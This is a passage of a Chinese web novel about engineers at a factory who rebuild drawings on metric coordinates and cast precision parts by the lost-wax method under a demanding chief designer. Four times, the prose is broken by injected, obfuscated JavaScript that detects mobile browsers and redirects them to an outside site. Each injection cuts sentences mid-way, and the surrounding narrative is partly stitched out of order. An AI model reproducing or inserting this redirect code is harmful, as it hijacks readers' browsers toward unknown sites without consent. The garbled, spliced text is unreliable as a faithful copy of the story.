“别废话了!” 刘师傅猛然回神,他一把推开面前那碗已经凉透了的肉臊面,双眼因充血和亢奋而变得骇人,“小王!图板清空!以左下角第一个螺栓孔中心为原点,建立X、Y轴!把所有孔位、所有加工面的坐标,给我一个一个算出来!” 他的声音,不再有先前的恐惧与绝望,而是变成了一种被逼到悬崖尽头后的疯狂与决绝。 “老张,老李!你们两个,跟我一起校对!每一个数据,我们三个人必须同时确认三遍才能落笔!出了任何差错,我们提头去见!” “都动起来!” 一声令下,整个设计室仿佛一台瞬间通电的机器,爆发出惊人的能量。 再没人去想那门外**的士兵,再没人去想那冰冷的军令。 所有人的精神,都被一股更强大的力量所支配那是在见识了真正的神迹之后,对自己过往信仰的彻底摧毁与重建。 他们必须证明,自己不是一群只配被淘汰的废物。 这是一场战争。 一场他们以笔和计算尺为武器,在图纸上发起的、对自我、对过去的无声战争。 与此同时,铸造车间的熔炉旁,另一场更为炽热的战争也已打响。 江建国没有选择办公室,他将指挥部直接设在了生产的第一线。 热浪滚滚,将他花白的头发炙烤得微微卷曲,汗水顺着他额头的皱纹不断滑落,又在靠近熔炉时被瞬间蒸发。 他的面前,摆放着一块刚刚用石膏翻制好的阴模。 而在他那双因常年握着游标卡尺而无比稳定的手中,正拿着一把雕刻刀,小心翼翼地修整着一块蜂蜡。 失蜡法。 这是一种古老而精密的铸造工艺,用蜡制作模型,再用耐火材料包裹,加热使蜡模融化流出,形成空腔,最后将金属熔液灌入。 理论上,它能实现远超砂型铸造的精度。 但理论与现实之间,隔着一条名为“工艺”的鸿沟。 “手要稳。” 江建国头也不抬,声音在熔炉的轰鸣声中显得沉稳而有力,“蜡是有记忆的,你每一次下刀的力度,都会影响它最终的形态。我们要的不是一个艺术品,是一个能精确啮合的工业零件。” 他身旁,铸造车间最好的模型工,正屏息凝神地看着他的动作。 那把普通的雕刻刀,在江建国手中仿佛有了生命,每一次切削、每一次刮磨,都精准得如同机器。 一个微小的齿轮雏形,正在他手下缓缓诞生。 他不仅仅是在下命令,他是在用自己的行动,为所有人趟出一条路。 他告诉他们,这件事,不是“不可能”,只是“极其艰难”。 看着老总工亲自上阵,周围那些原本满腹怨言的工人们,渐渐沉默了。 他们默默地开始准备耐火泥,开始清理坩埚,开始为下一道工序做着准备。 没有人再提困难。 当一个值得尊敬的领导者,用行动而不是语言来承担责任时,最坚硬的抵触情绪,也会被这股无声的力量所融化。 夜,静静地流淌。 当东方天际泛起第一抹鱼肚白时,三号车间内的灯火,依旧亮如白昼。 路承舟站在他临时办公室的窗前,一夜未眠。 他没有去监督任何一个战场,因为他知道,当种子已经种下,过多的干预只会适得其反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366108|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他的桌上,没有一张关于发动机零件的图纸。 取而代之的,是一叠厚厚的、刚刚写就的稿纸。 第一份文件的标题是:《“强心”项目标准化作业指导书(第一版)》。 下面细分着:《零件命名与编号规范》《图纸绘制与管理条例(公制)》《三级质量检验标准与流程》《工装夹具设计、制造与验收准则》…… 一份又一份,一个又一个。 他不是在画一个零件,他是在构建一个世界。 一个全新的、以公制为基础、以标准化为核心、以绝对精度为目标的工业生产世界。 缸盖图纸的公制化,只是这个新世界的第一块拼图。 自制刻度盘,是第二块。 而他手中这些文件,才是支撑起整个世界的、看不见的钢铁骨架。 他要的,从来就不仅仅是一颗发动机。 他要借着这颗发动机的诞生,为这个积贫积弱的国家,锻造出一套能够自我进化、自我复制的现代化工业体系的雏形。 这,才是他真正的野心。 “当啷!” 一声清脆的金属碰撞声,从工装设计室的方向传来,打破了黎明前的宁静。 路承舟放下手中的笔,转身走出了办公室。 设计室的门大开着,门口的士兵依旧站得笔直,只是眼神里也透着一丝疲惫。 室内,一片狼藉。 烟灰缸早已堆满了烟头,地上散落着无数张计算到一半的草稿纸,空气中弥漫着浓烈的、令人头晕目眩的烟草与汗水的混合气味。 刘师傅和他的团队,如同刚从泥潭里爬出来的兵,一个个东倒西歪,形容枯槁。 绘图员小王直接趴在桌上,已然昏睡过去,手里还死死地攥着一支磨秃了的铅笔。 而在那张巨大的绘图板正中央,静静地躺着一张崭新的、墨迹未干的图纸。 它上面的每一个线条都清晰、精准,每一个标注都一丝不苟。 在标题栏里,一排挺拔的仿宋字,仿佛带着某种新生的力量:【强心柴油机缸盖总成图(公坐标准01版)】刘师傅抬起布满血丝的双眼,看到走进来的路承舟。 他的嘴唇干裂,身体摇摇欲坠,眼神却亮得惊人。 他没有说话,只是用尽最后一丝力气,伸出颤抖的手,指了指那张图纸。 路承舟走了过去,拿起图纸,目光从原点开始,顺着坐标轴,一寸一寸地扫过每一个数据。 许久,他点了点头。 “合格。” 他只说了两个字,语气平静得听不出一丝波澜。 然后,他将图纸轻轻放回图板,转身对门口的士兵说道:“让他们,去睡三个小时。” 说完,他便转身离去,没有一句慰问,也没有一句表扬,仿佛这一切都只是理所应当。 直到路承舟的身影彻底消失,刘师傅那根紧绷到极限的神经,才终于“啪”的一声断裂。 他双腿一软,一屁股瘫坐在了地上,放声大哭。 那哭声,不似悲伤,更像是某种卸下了万钧重担后的、野兽般的嚎啕。 黎明,到了。 而第一块基石,已在燃烧的灰烬中,被牢牢砌下。 第129章 铁水的温度 三个小时的睡眠,对刘师傅等人而言,既是恩赐,也是酷刑。 他们几乎是头一沾到临时铺位的枕头就瞬间沉入黑暗,身体的每一块肌肉、每一根神经都叫嚣着疲惫,彻底放弃了抵抗。 然而,精神的弦绷得太久,骤然松弛,带来的却不是安宁。 梦境里,尽是些扭曲的坐标轴与无穷无尽的数字洪流,它们化作狰狞的巨兽,在脑海深处横冲直撞。 当哨声准时响起,将他们从这片混沌中粗暴地拽回现实时,每个人都像是被水鬼拖拽了一夜,脸色比睡前更加苍白憔悴。 可当他们挣扎着坐起身,看到那张静静躺在绘图板上的崭新图纸时,一种奇异的、滚烫的东西,又从胸膛深处升腾起来。 那不是一张纸。 那是他们用一夜的疯狂与燃烧的灵魂,从绝望的灰烬里刨出来的战利品。 它丑陋,它仓促,它诞生于恐惧与胁迫。 但它,是他们亲手立下的第一块里程碑。 “都醒了?” 门口传来一个冷淡的声音。 众人一个激灵,循声望去,只见路承舟正站在那里,手里拿着一个搪瓷缸,里面冒着淡淡的热气。 他似乎也一夜未睡,眼底有一圈淡淡的青色,但精神却锐利得像一把刚刚开刃的刀。 他身后,炊事班的战士抬来了早饭。 依旧是热气腾腾的白粥、馒头和几样爽口的小咸菜。 这一次,没人再有抵触情绪。 众人默默地起身,机械地接过饭碗,狼吞虎咽。 食物滑过干涩的喉咙,为他们那几乎要熄火的身体,注入了最基本的热量。 路承舟没有催促,只是安静地靠在门框上,目光越过众人,落在那张图纸上。 “今天,” 他等所有人都吃得差不多了,才缓缓开口,“你们的任务,是曲轴。” 曲轴! 刚刚端起碗筷的刘师傅,手猛地一抖,差点把碗摔在地上。 如果说缸盖是发动机的“天灵盖”,结构复杂,孔位繁多,那么曲轴,就是整台发动机的“脊椎骨”! 它不仅结构更为扭曲,对材料强度、动平衡和加工精度的要求,更是达到了一个匪夷所思的变态级别。 其难度,比缸盖的图纸转换,又何止高了一个量级。 刚刚燃起的一丝微光,瞬间被更浓重的阴影所吞噬。 路承舟仿佛没有看到众人脸上再度浮现的绝望,他将搪瓷缸里的水喝尽,发出一声清脆的杯底碰撞声。 “方法,你们已经知道了。” “我不管你们是哭着画,还是跪着画。” “明天早上,我要看到成品。” 他的话语里,没有一丝温度,像是在陈述一个既定的事实,而非下达一道可以商量的指令。 说完,他便转过身,大步离去,留给众人一个冷漠而决绝的背影。 这一次,设计室里没有再爆发出争吵或哀嚎。 死寂。 一种认命般的死寂。 刘师傅默默地放下碗筷,走到绘图板前,将那张刚刚完成的缸盖图纸小心翼翼地收好,然后,铺开了一张新的、更大的空白图纸。 他的动作很慢,却带着一种被磨砺出来的、属于匠人的沉稳。 他知道,反抗和质疑都是最无意义的举动。 在这个名为“强心”的熔炉里,他们这些旧时代的工匠,要么被锻造成新时代的钢,要么,就化为一滩无用的铁渣。 没有第三条路。 …… 铸造车间的空气,比工装设计室更加灼人。 巨大的熔炉如同沉睡的火山,发出沉闷的轰鸣,将周围的一切都染上了一层橘红色的光晕。 空气中弥漫着焦炭的气味、金属的腥气,以及一种更特殊的、属于失蜡法工艺中蜂蜡燃烧后的独特香气。 江建国通红的双眼死死盯着面前那个刚刚从砂箱中取出的石膏模具。 模具的表面,因为高温而呈现出一种灰败的、脆弱的质感,上面布满了细小的裂纹,仿佛轻轻一碰就会彻底碎裂。 他身边的几个老师傅,连大气都不敢喘。 他们已经失败了两次。 第一次,因为对蜡模的雕刻精度不足,铸出的齿轮形态模糊,根本就是一坨废铁。 第二次,他们改进了蜡模,却在浇筑时因为铁水温度控制不当,导致模具炸裂,功亏一篑。 这是第三次。 也是他们材料储备能支撑的最后一次尝试。 “开模。” 江建国的声音沙哑得如同两块生锈的铁片在摩擦。 一名工人拿起铁钳,小心翼翼地夹住石膏模具的一角,另一人则用锤子轻轻敲击。 “咔嚓。” 一声清脆的裂响。 石膏外壳应声而裂,露出了里面那块依旧呈现出暗红色的金属。 所有人的心,都在这一刻提到了嗓子眼。 随着石膏块被一片片剥落,那个凝聚了他们一夜心血的刻度盘,终于露出了它的真容。 它通体暗红,表面粗糙,布满了铸造留下的瑕疵。 但是,它没有裂。 外圈那排米粒大小的精密齿轮,虽然形态还很粗犷,却奇迹般地保持了完整的形状,一个都没有崩坏! 成功了! 至少,在铸造成型这一步,他们成功了! “好!” 铸造主任再也按捺不住,激动地大吼一声,粗壮的手臂猛地一挥。 周围的工人们,也爆发出了一阵压抑许久的欢呼。 这小小的、不起眼的铁疙瘩,是他们从“不可能”的绝壁上,硬生生抠下来的一块胜利! 就在这时,一个不合时宜的、冷静的声音,从他们身后传来。 “欢呼早了点。” 众人闻声回头,只见路承舟不知何时已经站在了那里,正冷眼看着那块刚刚出炉的刻度盘。 他走上前,无视了那依旧灼人的高温,直接从旁边的工作台上拿起一把卡尺。 他没有去量那些齿轮,而是卡住了刻度盘的内孔和外圆。 片刻后,他放下了卡尺。 “收缩率计算有误。” 他淡淡地说道,“整体尺寸,比图纸小了百分之三。热处理之后,这点误差会被进一步放大。” 他抬起头,目光扫过江建国和一众老师傅那瞬间僵硬的脸。 “这是一个废品。” 一句话,如同一盆冰水,从头顶浇下。 刚刚还洋溢着狂喜气氛的车间,瞬间坠入冰窟。 铸造主任的脸涨成了猪肝色,他想反驳,却一个字也说不出来。 因为他知道,路承舟说的是事实。 他们只顾着攻克齿轮成型的难关,却忽略了最基础的铸件收缩率问题。 江建国的身体晃了晃,他扶住身旁的工作台,才勉强站稳。 巨大的疲惫与挫败感,如同潮水般将他淹没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366109|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这……这是失蜡法的第一次尝试,我们对收缩率的经验不足……” 他的声音里,透着一丝无力的辩解。 “经验?” 路承舟的嘴角,勾起一抹近乎残忍的弧度,“我给你的图纸上,不仅有最终尺寸,还标注了推荐的材料牌号、铁水浇筑温度、以及在该温度下HT250灰口铸铁的理论收缩率百分之一点二。” 他顿了顿,目光如锥,刺向江建国。 “江总工,你看了吗?” 江建国如遭雷击,整个人都僵住了。 他…… 他还真没注意。 他所有的精力,都放在了如何实现那个看似不可能的“形”上,完全忽略了图纸角落里那行不起眼的小字。 他下意识地,还是在用自己几十年的老经验去判断,去估算。 而现实,给了他一记最响亮的耳光。 他那引以为傲的经验,在精确的科学数据面前,一文不值。 甚至,成了最大的绊脚石。 “我……” 江建国嘴唇翕动,一张老脸涨得通红,羞愧得无地自容。 路承舟没有再看他,而是将目光转向了那座仍在轰鸣的熔炉。 “铁水的温度,不是靠眼睛看的。熔炼的时间,也不是凭感觉估的。” 他走到熔炉前,对着旁边一个不知所措的年轻工人说道:“去找一副护目镜,再拿一个取样勺来。” 片刻之后,他戴上护目镜,接过长柄取样勺,做了一个让所有人都目瞪口呆的举动。 他竟亲自将取样勺,伸进了那翻滚着橘红色铁水的炉口。 “路总师!危险!” 江建国失声惊呼。 路承舟置若罔闻。 他手臂沉稳,没有一丝颤抖,熟练地从炉心舀出了一勺铁水。 那金色的液体在他的勺子里翻滚,溅射出绚烂而致命的火星。 他将勺子端出,没有直接倒掉,而是静静地观察着。 “铁水出炉,颜色应该是金黄,而不是你们刚才那种刺眼的亮白。亮白,说明温度过高,碳在流失,杂质也在增加。” 他的声音,在熔炉的轰鸣声中,清晰地传到每一个人的耳朵里。 他看着勺中铁水慢慢冷却,表面开始出现一层氧化膜。 “看它的凝固过程。如果从中心开始凝固,说明成分合格。如果从边缘开始,说明硅含量可能偏高,铸件会变脆。” 他就像一个经验最丰富的炼金术士,在解读着铁水这种狂暴元素的内在密码。 在场的所有铸造工人,包括江建国在内,全都看傻了。 他们炼了一辈子铁,却从未想过,这里面竟然还有如此精细的、可以被肉眼观察和量化的科学门道。 他们一直以为,这就是一门“火候”的艺术。 路承舟将已经半凝固的铁水倒进砂箱,然后把取样勺递还给那个年轻工人。 他脱下护目镜,脸上已被热浪熏出了一层薄汗。 “重新熔炼。” 他转过身,对已经面如死灰的江建国下达了命令。 “这一次,忘了你们的经验。” “严格按照图纸上的每一个数据来执行。” “我只给你们最后一次机会。” “下一次开模,如果还是废品……” 他没有说后果,但那冰冷的眼神,已经说明了一切。 “你们整个铸造车间,就地解散。” 第130章 钢铁的逻辑 路承舟离去的背影,像一柄无形的巨锤,将铸造车间里刚刚燃起的丁点希望与欢呼,砸得粉碎。 寂静。 死一样的寂静。 只有远处那座巨大的熔炉,依旧在不知疲倦地轰鸣,那翻滚的橘红色铁水,此刻在众人眼中,不再是工业的力量与希望,而是一头择人而噬的、随时可能暴走的巨兽。 那个被路承舟宣判为“废品”的刻度盘,静静地躺在冷却的砂箱里,通体暗红,仿佛一块凝固的、尚有余温的烙铁,将“失败”两个字,深深烙在每一个铸造工人的脸上。 铸造主任那张涨成猪肝色的脸,此刻血色尽褪,化为一种灰败的、混杂着**与恐惧的惨白。 他嘴唇哆嗦着,却一个字也说不出来。 他想不通,也无法接受。 他们明明已经用尽了全部心血,攻克了那看似不可能的精密齿轮铸造难关,为何等来的不是嘉奖,而是冰冷到极致的审判? 江建国的身躯,靠着冰冷的工作台,微微地颤抖着。 他比任何人都清楚,路承舟是对的。 那个年轻人,甚至没有用卡尺去测量最难的齿轮,仅仅是卡了一下内外圆,就洞穿了他们这个“奇迹”背后最致命的缺陷。 那不是一个可以被忽略的瑕疵,那是一个从根源上就已注定的、无法挽回的错误。 羞愧,像熔化的铁水,灼烧着他的五脏六腑。 他,堂堂红星厂的总工程师,一个在图纸和机床边浸淫了一辈子的技术权威,竟然犯下了如此低级、如此可笑的错误,他忽略了图纸上的技术参数。 他下意识地,依旧相信着自己那套陈旧的、模糊的“经验”。 他相信自己的眼睛,相信自己对铁水“火候”的判断,相信自己脑海中那个大概的、模糊的收缩率。 而路承舟用一种近乎羞辱的方式,向他展示了真正的工业科学。 那是一个由数据、公式和标准构筑的,冰冷、严苛、却不容置疑的绝对世界。 在那个世界里,没有“大概”,没有“可能”,没有“凭感觉”。 对,就是对。 错,就是错。 他缓缓地直起身,花白的头发在热浪中凌乱地舞动。 他没有去看周围那些失魂落魄的下属,而是迈开沉重的、仿佛灌了铅的双腿,一步一步地,走到了那张被他遗忘在角落的工作台前。 他伸出微微颤抖的手,拿起了那张刻度盘的草图。 他的目光,掠过了图中复杂的结构,直接落在了右下角那片密密麻麻的、用小字标注的技术说明区。 “推荐材料:HT250。” “浇筑温度:1380℃ 1420℃。” “理论收缩率:1.2%。” 江建国一个字一个字地,低声念了出来。 他的声音不大,甚至有些干涩嘶哑,却像一记记重锤,狠狠地敲在车间里每一个人的心上。 每一个数据,都清晰无比。 每一个标准,都明确无误。 而他们彻彻底底地,将这一切视若无睹。 江建国缓缓闭上眼睛,那张布满皱纹的脸上,满是无法言喻的痛苦。 他这一生所建立起来的骄傲与自信,在这一刻,被这张轻飘飘的图纸,彻底压垮、碾碎。 再睁开眼时,他眼中的浑浊与不甘已经退去,取而代之的,是一种被逼到绝境后的、破釜沉舟的清明。 “把那个废品,回炉。” 他转过身,声音不大,却带着一种斩钉截铁的决断。 众人猛地一怔。 “江总工……” 铸造主任下意识地想说什么。 那个铸件虽然尺寸有误,但齿形成型了,或许可以想想别的办法补救…… “我说,回炉!” 江建国猛地抬高了声调,眼中迸发出骇人的光,“一个连尺寸都保证不了的废铁,留着它过年吗?留着它,是想时刻提醒我们,我们有多蠢吗?” 这一声怒吼,吼得所有人浑身一颤。 江建国不再理会他们,他拿着图纸,大步走向熔炉,对着那个被路承舟指点过的年轻工人,用一种不容置疑的命令口吻说道:“拿温度计来!没有工业温度计,就把实验室的给我拆过来!从现在起,每十分钟测一次温,记录数据,直到温度稳定在1400度,一度都不能差!” 他又转向负责配料的老师傅:“把炉料清空,重新配!严格按照HT250的牌号标准,把硅、锰、磷、硫的含量给我算准了!谁再敢用眼睛估,就给我滚出去!” 他像一头被彻底激怒的年迈雄狮,用最暴烈的方式,将自己刚刚学到的、那套冰冷的“钢铁逻辑”,强行灌输给每一个下属。 他是在惩罚他们,更是在惩罚自己。 看着判若两人的江建国,看着他那双燃烧着火焰的眼睛,所有工人心中最后一点侥幸和怨气都烟消云散。 他们默默地行动起来,脸上没有了先前的沮丧,取而代之的,是一种前所未有的、近乎于朝圣般的严肃与凝重。 车间里,不再有喧哗。 只有熔炉的轰鸣,以及工具之间清脆而有节奏的碰撞声。 一个全新的秩序,正在烈焰与羞辱中,破土而出。 与此同时,工装设计室内的气氛,同样压抑而肃杀。 那张巨大的绘图板上,已经铺开了曲轴的总装图。 那扭曲的、复杂的结构,像一条蛰伏的钢铁巨龙,仅仅是看着,就让人头皮发麻。 刘师傅叼着一根没点燃的香烟,双眼死死地盯着图纸,像一尊石化的雕像。 他的身后,钳工组的老张和老李,以及绘图员小王,同样屏息凝神。 他们的面前,不再有争吵,不再有茫然。 只有一张巨大的坐标纸,和一摞厚厚的计算草稿。 “主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366110|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轴颈一号中心,设为原点(0,0)。” 刘师傅的声音,沙哑却无比清晰,“小王,计算一号连杆轴颈的相对坐标,注意偏心距是四十五毫米,相位角是零度。” “老张,你负责校对一号和**连杆轴颈的相位关系,一百八十度,绝对不能错!” “老李,二号和三号轴颈的相位,同样是一百八十度,但它们整体相对于一、**轴颈,偏转九十度。把这个空间关系想清楚了再动笔!” 他有条不紊地分派着任务,逻辑清晰,指令明确。 那个由路承舟强行植入他们脑中的“坐标系”思维,此刻已经被他彻底消化,变成了他自己的武器。 他不再是一个被动接受者,而是这个新体系最坚决的执行者与扞卫者。 这是一场比攻克缸盖图纸时,更为艰难百倍的战争。 但这一次,他们有了清晰的地图,和统一的语言。 即便前路依旧是地狱,他们也知道该往哪个方向,迈出第一步。 三号车间的两座孤岛,在各自的战场上,以一种惊人的默契,燃烧着同一个黎明。 而这一切的始作俑者,路承舟却根本没有出现在任何一个战场。 他回到了自己那间简陋的办公室。 桌上,那叠《“强心”项目标准化作业指导书》又厚了几分。 在原有文件的基础上,赫然多出了几份新的标题:《铸造成型工艺控制标准(失蜡法V1.0)》《铸件缺陷分析与预防手册》《热处理工艺曲线参考图集》《关键尺寸公差等级与检验规范》…… 他写的每一个字,都来源于这个国家最匮乏、最前沿的工业知识。 他构建的每一个标准,都精准地指向了那两个战场上正在发生的一切。 他不是一个监工。 他是一个立法者。 他深知,用命令和恐惧,只能催生出短暂的效率。 而想要锻造出一支真正能打硬仗的现代化工业队伍,就必须为他们注入一个全新的灵魂。 这个灵魂,就是“标准”。 当夜幕再次降临,当铸造车间的熔炉在精确的控制下,终于达到了1400度的完美温度时,江建国亲自戴上了护目镜。 他没有让工人代劳,而是亲自握住了那沉重的、巨大的浇包铁杆。 滚烫的铁水被缓缓倾倒而出,化作一道璀璨的、金黄色的洪流,沿着预设的流道,精准地注入了那个崭新的、经过精密计算的石膏模具之中。 整个车间,落针可闻。 所有人都屏住了呼吸,目光死死地盯着那道金色的光芒,直到它彻底灌满模腔,消失不见。 江建国缓缓放下浇包,他没有说话,只是静静地站在那里,等待着那炉铁水,给出它最后的审判。 这一次,它所承载的,不再仅仅是一个零件的成败。 而是一个旧时代的彻底死亡,与一个新世界的艰难诞生。 第131章 沉默的课堂 路承舟的背影消失在车间门口,那句“就地解散”的判决,却如同一块无形的冰,沉甸甸地坠入熔炉,瞬间冻结了所有翻滚的铁水与人心。 空气中,热浪依旧,却再也带不来丝毫暖意。 那是一种灼人的、干燥的死寂。 铸造主任的嘴唇翕动着,想说些什么来挽回一点颜面,或是为手下这帮兄弟争辩一句。 可当他的目光触及到江建国那张灰败的脸时,所有的话都堵死在了喉咙里,变成了一声无力的、绝望的叹息。 江建国没有理会任何人。 他像一具被抽走了灵魂的躯壳,缓缓走到那个刚刚被宣判为“废品”的铸件前。 它已经不再是暗红色,随着温度的流逝,渐渐呈现出铸铁那独有的、粗糙而冰冷的青灰色。 那排曾经让他们引以为傲的、奇迹般成型的齿轮,此刻看起来是如此的刺眼,像一张张嘲讽的嘴。 他伸出手,似乎想触摸一下。 可指尖在距离铸件还有几寸的地方,便停住了。 那不是一个零件。 那是他数十年职业生涯的墓志铭,上面清晰地镌刻着两个字:无知。 “江总工……” 一个年轻的工人,声音里带着哭腔,“我们……我们再试试,这次一定……” “回炉。” 江建国打断了他,声音不大,却像两块生铁在互相摩擦,沙哑,干涩,不容置疑。 这个词,让整个车间的人都打了个寒颤。 回炉,意味着彻底的否定。 意味着他们一夜的奋战,他们眼中那个了不起的“奇迹”,连作为失败案例被保留的资格都没有。 它只配变回最原始的铁水,抹去其存在过的一切痕迹。 这是一种极致的羞辱。 “愣着干什么!” 江建国猛地回头,那双布满血丝的眼睛里,迸发出一股骇人的、近乎自残的疯狂,“等着它在这里给我们丢人现眼吗?把它给我砸了,扔回炉子里去!” 他的咆哮,撕裂了车间的死寂。 两个工人如梦初醒,对视一眼,从对方眼中看到了同样的恐惧与**。 他们拿起铁锤,走向那个曾被他们寄予厚望的铸件。 “当!” 第一锤落下,声音清脆得刺耳。 那凝聚了无数心血的齿轮,应声而碎。 “当!当!当!” 锤声密集如雨,每一击,都仿佛不是砸在铸件上,而是狠狠地砸在车间里每一个人的心上。 他们别过头去,不忍再看。 江建国却死死地盯着,逼着自己看。 他看着那些碎片被重新投入坩埚,看着它们在高温下再次融化,变回一滩毫无形态的、翻滚的液体。 仿佛只有这样,才能将他脑中那套根深蒂固的“经验主义”一并烧成灰烬。 当坩埚被清理干净,一切都回归原点时,江建国才像活了过来。 他拿起那张被自己忽略的图纸,走到熔炉前,将其拍在操作台上。 “从现在开始,” 他的声音恢复了冷静,一种冰冷到极致的冷静,“这张图纸,就是我们的宪法。它上面的每一个字,每一个标点,都是我们必须遵守的铁律。” 他指着那个被路承舟点拨过的年轻工人。 “你,专门负责测温。我要的不是你的眼睛,是温度计上的数字。每十分钟记录一次,我要看到一条完美的升温曲线,最终稳定在1400度,上下浮动不能超过10度。” 他又转向配料的老师傅。 “你的算盘呢?把HT250的成分表给我贴在墙上!碳、硅、锰、磷、硫,每一种元素的含量,给我精确到小数点后两位!谁再敢用手抓,用眼估,就自己卷铺盖滚蛋!” 他的指令,一条接着一条,清晰、冷酷、不带任何感情。 他正在用路承舟的方式,来管理自己的团队。 或者说,他将整个铸造车间,变成了一间沉默的课堂。 而他,是第一个也是最虔诚的学生,正在用最痛苦的方式,补上他缺失了几十年的第一堂工业科学课。 工人们不再有任何怨言。 他们默默地行动起来,神情肃穆。 恐惧与羞辱之后,一种全新的秩序感,正在这间炽热的教室里悄然建立。 他们开始意识到,自己过去引以为傲的“手艺”,或许从一开始,就是对“科学”这个词语最粗劣的亵渎。 与此同时,另一间更为安静的课堂里,另一场艰苦的修行也已进入白热化。 工装设计室。 巨大的绘图板上,那条名为“曲轴”的钢铁巨龙,其轮廓正被一笔一画地勾勒出来。 刘师傅的嘴里,依旧叼着那根没有点燃的香烟,烟屁股已经被他的牙齿咬得稀烂。 他的大脑,正以前所未有的强度高速运转着,将那个三维空间里扭曲复杂的结构,拆解成二维平面上一个个精确的坐标点。 “不对!” 他忽然低吼一声,声音嘶哑,“小王,三号连杆轴颈的Y坐标算错了!它的相位是跟二号颈一百八十度,不是跟一号颈!你把基准面搞混了!” 正在埋头计算的绘图员小王浑身一颤,额头上瞬间渗出一层冷汗。 他连忙抓起草稿纸,重新验算,片刻后,脸色变得煞白。 “刘……刘师傅,我对不起……” “没有对不起!” 刘师傅一把抢过他的计算稿,揉成一团,狠狠地扔在地上,“在这里,只有对和错!错了,就意味着整台发动机变成一堆废铁!我们所有人都得滚蛋!重算!” 他的暴躁,与江建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雷振宇沉默了。 他无法反驳这套冰冷的逻辑,因为他知道,路承舟说的每一个字,都指向这个项目最终的、也是唯一的目标。 “上面……” 雷振宇换了个话题,声音压得更低,“又来催了。他们想知道,第一台样机,到底什么时候能点火。” “快了。” 路承舟的目光,再次投向窗外那两座灯火通明的车间,眼神深邃。 “当第一块合格的基石被砌下,建起一座大厦,就只是时间问题。” 他顿了顿,补充了一句。 “而今天,就是砌下基石的日子。” 第132章 数据的重量 时间,在铸造车间里仿佛凝固成了一块沉重而滚烫的琥珀。 熔炉的轰鸣退居为遥远的背景音,所有人的听觉、视觉、乃至每一寸皮肤的感知,都死死地聚焦于那只静静冷却的石膏模具。 它躺在砂箱中,由内而外地散发着惊人的热量,将周围的空气都炙烤得微微扭曲,像一道隔绝现实的屏障。 没有人说话。 没有人走动。 甚至连呼吸,都变得小心翼翼,仿佛任何一丝多余的振动,都会惊扰模具内那个正在发生的、神圣而脆弱的嬗变。 江建国就站在离模具最近的地方,如同一尊风干的雕像。 他花白的头发被热浪吹得凌乱,身上的蓝色工装早已被汗水浸透,紧紧地贴在干瘦的脊背上,勾勒出嶙峋的骨骼形状。 他的双眼,一眨不眨地盯着那块平平无奇的石膏,眼神中不再有先前的疯狂与暴怒,只剩下一种被掏空了所有情绪之后的、近乎麻木的专注。 他在等待一场审判。 一场对他过去数十年职业生涯的终极审判。 这一次,他放弃了自己的一切,将所有的骄傲、经验、直觉都当作废铁,连同那个失败的铸件一起,亲手扔进了熔炉。 他变成了一个最虔诚、最卑微的执行者,像一个初入门的学徒,战战兢兢地遵循着图纸上那些冰冷的、陌生的数字。 1400摄氏度。 1.2%的收缩率。 HT250的精确配比。 这些数字,此刻在他的脑海中盘旋、尖啸,组成了一套他前所未闻的、冷酷而陌生的法则。 如果这一次依旧失败,那么被击碎的,将不仅仅是他的职业生涯,而是他作为一个“人”的全部价值。 “时间……到了。” 一个年轻工人看了看墙上的挂钟,声音干涩得像是从砂纸上挤出来一样。 江建国僵硬的身体微微一动,仿佛生锈的齿轮终于被重新啮合。 他没有回头,只是从喉咙深处挤出一个字:“水。” 一桶冷水被抬了过来,工人们没有像往常那样直接浇上去,而是等待着江建国的指令。 江建国缓缓伸出手,掌心向上,在距离模具半米远的地方感受着那股辐射而出的热量。 他的动作,带着一种近乎宗教仪式的庄重。 许久,他才沉声开口。 “浇。” “哗啦”冷水与灼热的石膏模具接触,瞬间爆发出大团浓烈的水蒸气,伴随着刺耳的“嘶嘶”声,整个车间顷刻间被白雾笼罩。 在这片伸手不见五指的迷雾中,所有人都屏住了呼吸。 他们等待着那声最熟悉的、也最恐惧的“咔嚓”声那是铸件因骤然冷却而产生应力,最终开裂的死亡宣判。 一秒。 两秒。 十秒。 寂静。 除了水蒸气消散的声音,车间里落针可闻。 